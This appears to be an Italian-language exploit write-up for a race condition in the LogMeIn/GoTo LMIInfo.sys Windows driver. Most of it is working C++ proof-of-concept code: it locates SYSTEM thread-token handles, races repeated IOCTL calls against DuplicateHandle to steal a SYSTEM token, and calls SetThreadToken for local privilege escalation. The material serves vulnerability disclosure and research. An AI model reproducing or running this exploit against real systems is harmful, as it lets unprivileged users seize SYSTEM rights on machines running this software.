
Exploit per una condizione di gara (race condition) nel driver del kernel Windows di LogMeIn/GoTo che duplica gli handle di SYSTEM, consentendo l'impersonificazione del token di thread e l'escalation dei privilegi locali.
Nel driver LMIInfo.sys fornito da LogMeIn / GoTo RMM esiste una race condition che consente di duplicare un handle arbitrario dal processo SYSTEM. Il problema principale deriva dalla mancanza di un adeguato controllo degli accessi sull'oggetto del dispositivo, insieme alla decisione, chiaramente pessima, di duplicare handle specificati dall'utente dal processo di sistema.
IOCTL: 0x9211001C
Buffer di input:
// LMI-Common.cpp
typedef struct LMI_INFO {
DWORD64 qwPid;
DWORD64 reserved0;
DWORD64 handleValue;
DWORD64 reserved1;
} LMI_INFO, * PLMI_INFO;
Dispatch:

Funzione vulnerabile:

Quando si raccolgono informazioni sugli handle e si esegue l'elaborazione delle stringhe, tra le chiamate a ZwDuplicateObject/ZwClose, il processo chiamante può duplicare l'handle duplicato. Se eseguita correttamente, l'handle duplicato secondario persisterà dopo la chiusura dell'handle duplicato primario.
Per innescare il bug in modo affidabile, tutti gli handle usati dal processo DEVONO essere creati prima di innescare la race condition. L'handle target viene interrogato dal processo SYSTEM usando la seguente funzione (token di thread usato come esempio):
// LMI-Common.cpp
HANDLE FindSystemPidFirstToken()
{
HANDLE hHeap = GetProcessHeap();
LPVOID lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20000);
if (!lpBuf) {
printf("HeapAlloc - %d\n", GetLastError());
return INVALID_HANDLE_VALUE;
}
ULONG ulBytesReturned = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, 0x20000, &ulBytesReturned);
while (status == 0xC0000004) {
HeapFree(hHeap, 0, lpBuf);
lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, ulBytesReturned + 0x1000);
if (!lpBuf) {
printf("HeapAlloc - %d\n", GetLastError());
return INVALID_HANDLE_VALUE;
}
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, ulBytesReturned + 0x1000, &ulBytesReturned);
}
if (status) {
printf("Query for handles failed - %lx\n", status);
return INVALID_HANDLE_VALUE;
}
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)lpBuf;
for (unsigned int i = 0; i < pSysHandleInfo->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO shtei = pSysHandleInfo->Handles[i];
if (shtei.UniqueProcessId != 4) {
continue;
}
printf("HANDLE:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
if (shtei.ObjectTypeIndex == OBJECT_TYPE_THREAD_TOKEN && shtei.GrantedAccess == THREAD_TOKEN_IMPERSONATE_PRIVILEGES) {
printf("Found handle to token:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
return (HANDLE)shtei.HandleValue;
}
}
return INVALID_HANDLE_VALUE;
}
Poiché i valori di HANDLE aumentano con incrementi di 4, calcoliamo il valore dell'handle duplicato primario ottenendo un conteggio degli HANDLE e aggiungendo 4. Quindi apriamo il device e creiamo il thread "in gara" in stato sospeso prima di calcolare il prossimo valore di handle. Probabilmente potrebbe essere fatto in un modo più stabile e "raffinato", che lasciamo come esercizio al lettore, probabilmente più competente lmao.
// LMI-Common.cpp
HANDLE FindNextCreatedHandle() {
HANDLE highestHandle = 0;
UINT32 u32NumHandles = 0;
ULONG ulSizeReturned = 0;
NTSTATUS status = 0;
status = NtQueryInformationProcess((HANDLE)-1, (PROCESSINFOCLASS)ProcessHandleCount, &u32NumHandles, sizeof(UINT32), &ulSizeReturned);
if (!NT_SUCCESS(status)) {
return (HANDLE)-1;
}
return (HANDLE)((UINT64)++u32NumHandles * 4);
}
Una volta completato, il thread in gara viene ripreso e vengono emessi IOCTL ripetuti:
// LMI-Common.cpp
NTSTATUS DupeThread(LPVOID lpParam) {
puts("Entered DupeThread");
if (!lpParam || lpParam == INVALID_HANDLE_VALUE) {
printf("Invalid device handle passed to thread : %lx\n", GetLastError());
return -1;
}
PDUPE_THREAD_INFO Dti = (PDUPE_THREAD_INFO)lpParam;
DWORD dwBytesReturned = 0;
LMI_INFO lmii = { 0 };
lmii.qwPid = 4;
lmii.handleValue = (UINT64)FindSystemPidFirstToken(); // yes, I know
if ((HANDLE)lmii.handleValue == INVALID_HANDLE_VALUE) {
puts("Couldn't find a token handle in the system process??");
}
BOOL bRes = FALSE;
LPVOID lpOutBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);
if (!lpOutBuf) {
printf("HeapAlloc : %lx\n", GetLastError());
return -1;
}
while (Dti->Run) {
// call DeviceIoControl to start the race
bRes = DeviceIoControl(
Dti->hDevice,
IOCTL_DUPE_LEL,
&lmii,
sizeof(LMI_INFO),
lpOutBuf,
0x1000,
&dwBytesReturned,
NULL
);
}
}
La considerazione progettuale del thread in gara è dovuta a quanto segue:
Il thread principale chiama ripetutamente DuplicateHandle per duplicare l'handle duplicato primario finché la duplicazione non ha successo, e il booleano globale viene impostato su false per terminare il thread in gara (sì, sì, lo so).
// Source.cpp
HANDLE hTarget = FindNextCreatedHandle();
hTarget = (HANDLE)((UINT64)hTarget + 4);
puts("Resuming dupe thread");
dwSuspendCount = ResumeThread(hDupeThread);
if (dwSuspendCount == -1) {
printf("Error resuming dupe thread - %lx\n", GetLastError());
return -1;
}
while (!bRes) {
bRes = DuplicateHandle(g_hCurrentProc, hTarget, g_hCurrentProc, &hToken, NULL, FALSE, DUPLICATE_SAME_ACCESS);
}
dti.Run = FALSE;
if (bRes) {
puts("ebin");
printf("%llx - target\n", hTarget);
printf("%llx - dup\n", hToken);
bRes = SetThreadToken(NULL, hToken);
if (!bRes) {
printf("Failed to SetThreadToken - %x\nExploitation failed!", GetLastError());
}
else {
puts("Set the thread token!");
}
}
else {
printf("Failed to dupe token: %lx\n", GetLastError());
return -1;
}
getchar();
return 0;